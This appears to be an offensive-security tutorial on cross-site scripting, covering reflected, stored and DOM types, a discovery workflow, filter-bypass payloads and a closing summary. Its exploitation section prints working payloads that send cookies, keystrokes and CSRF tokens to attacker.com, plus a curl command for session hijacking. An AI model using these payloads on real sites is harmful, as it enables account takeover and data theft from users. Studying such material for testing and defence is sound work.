Cross-Site Scripting (XSS) allows an attacker to inject malicious JavaScript into a web application so that it executes in the victim’s browser. Because browsers trust content from a legitimate site, injected scripts gain access to everything the real site can access, including cookies, sessions, tokens, DOM elements, and user interactions. XSS is one of the most common and dangerous input-based vulnerabilities.
Understanding XSS
XSS occurs when an application accepts untrusted input and outputs it into a webpage without proper sanitization or escaping. When the browser renders that page, the malicious script runs as if it came from the trusted site.
XSS attacks allow:
-
Stealing session cookies
-
Capturing keystrokes
-
Redirecting users
-
Altering page content
-
Stealing CSRF tokens
-
Exploiting users’ accounts
-
Delivering malware
The core issue is mixing untrusted user data into trusted HTML or JavaScript contexts.
Types of XSS
Reflected XSS
Malicious input is sent in the request and immediately reflected in the response.
Example URL:
http://target.com/search?q=<script>alert(1)</script>
If the server outputs the parameter directly:
You searched for: <script>alert(1)</script>
The payload executes instantly.
Stored XSS
Malicious script is stored on the server and delivered to every user who views it.
Occurs in:
-
Profile names
-
Comments
-
Posts
-
Feedback forms
Example stored payload:
<script>document.location='http://attacker.com/cookies?c='+document.cookie</script>
Everyone visiting that page executes the script.
DOM-Based XSS
Occurs in the browser when JavaScript modifies the page using unsanitized input.
Example vulnerable JS:
document.getElementById("result").innerHTML = location.hash.substring(1);
Payload:
http://target.com/#<img src=x onerror=alert(1)>
The browser executes it without server involvement.
Where XSS Happens
XSS can appear in any context that mixes user-controlled data into webpage code.
Common injection points:
-
HTML body
-
HTML attributes
-
JavaScript context
-
URL parameters
-
DOM manipulation
-
Event handlers (onclick, onload)
-
CSS context
-
JSON responses rendered unsafely
Attackers test every location where input is reflected.
Practical XSS Discovery Workflow
Step 1: Identify Input Points
Check:
-
Search boxes
-
Comments
-
Profile fields
-
URL parameters
-
Form submissions
-
Cookies
-
Headers
Use a basic test payload:
"><script>alert(1)</script>
Step 2: Look for Reflection
Use Burp or browser:
http://target.com/?test=xss123
Search for xss123 in the response.
If the value is reflected → XSS likely exists.
Step 3: Test Simple Payloads
Basic payload:
"><script>alert(1)</script>
If blocked, try HTML variations:
<img src=x onerror=alert(1)>
Or encoded versions:
%3Cscript%3Ealert(1)%3C%2Fscript%3E
Step 4: Identify Context
XSS payloads depend on where the input appears.
Inside HTML
Hello: PAYLOAD
Use:
<script>alert(1)</script>
Inside an attribute
<input value="USERINPUT">
Break out:
" autofocus onfocus=alert(1) x="
Inside JavaScript
var user = "USERINPUT";
Close the quote:
";alert(1);//
Step 5: Bypass Filters
Filters often block <script> but not alternate payloads.
Examples:
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
Encoding bypass:
%3Csvg%20onload=alert(1)%3E
Double encoding:
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Step 6: Test for Stored XSS
Insert payload into persistent fields:
-
Comments
-
Usernames
-
Feedback forms
-
Profile descriptions
Example:
<script>alert("stored")</script>
Reload the page as a different user to confirm persistence.
Step 7: Test DOM-Based XSS
Check JavaScript rendering logic.
Inject into:
-
URL hash (#)
-
URL parameters
-
localStorage
-
document.write
-
innerHTML
Payload:
#<img src=x onerror=alert(1)>
If the script runs, it's DOM XSS.
Practical Exploitation of XSS
Once XSS is confirmed, test real exploitation paths.
Stealing Cookies
<script>new Image().src='http://attacker.com/?c='+document.cookie;</script>
Session Hijacking
Use stolen cookies with:
curl -H "Cookie: session=..." http://target.com/dashboard
Keylogging
<script>
document.onkeypress = e => {
fetch('http://attacker.com/log?key='+e.key)
};
</script>
CSRF Token Theft
<script>
fetch('/profile').then(r => r.text()).then(t =>
fetch('http://attacker.com/steal?d='+btoa(t))
);
</script>
Redirect Attacks
<script>location='http://malicious.com'</script>
Real-World XSS Payload Examples
HTML context
<script>alert(document.domain)</script>
Attribute context
" autofocus onfocus=alert(1) x="
SVG context
<svg/onload=alert(1)>
Event handlers
<img src=x onerror=alert(1)>
Onclick injection
" onclick=alert(1) "
JSON response injection
</script><script>alert(1)</script>
Why XSS Happens
XSS exists due to:
-
Outputting user input without escaping
-
Using
innerHTMLinstead of safe DOM methods -
Relying on blacklists instead of proper sanitization
-
Missing Content Security Policy (CSP)
-
Reflecting parameters in error messages
-
Storing unfiltered input in databases
Developers often underestimate how many contexts allow script execution.
Impact of XSS
Successful XSS attacks allow:
-
Complete account takeover
-
Persistent session hijacking
-
Credential theft
-
Malware injection
-
Unauthorized transactions
-
Browser-based exploitation
-
Reputation damage
-
Full control over user interactions
XSS turns the victim’s browser into the attacker’s tool.
Intel Dump
-
XSS injects malicious JavaScript into trusted webpages.
-
Exists in three forms: reflected, stored, and DOM-based.
-
Testing requires identifying reflection, context, and bypassing filters.
-
Payloads vary by HTML, attribute, JavaScript, or DOM context.
-
Stored XSS affects all users; reflected affects one request; DOM affects client-side logic.
-
Exploitation includes cookie theft, keylogging, redirects, and CSRF token theft.
-
XSS results from missing sanitization, unsafe DOM methods, and weak output encoding.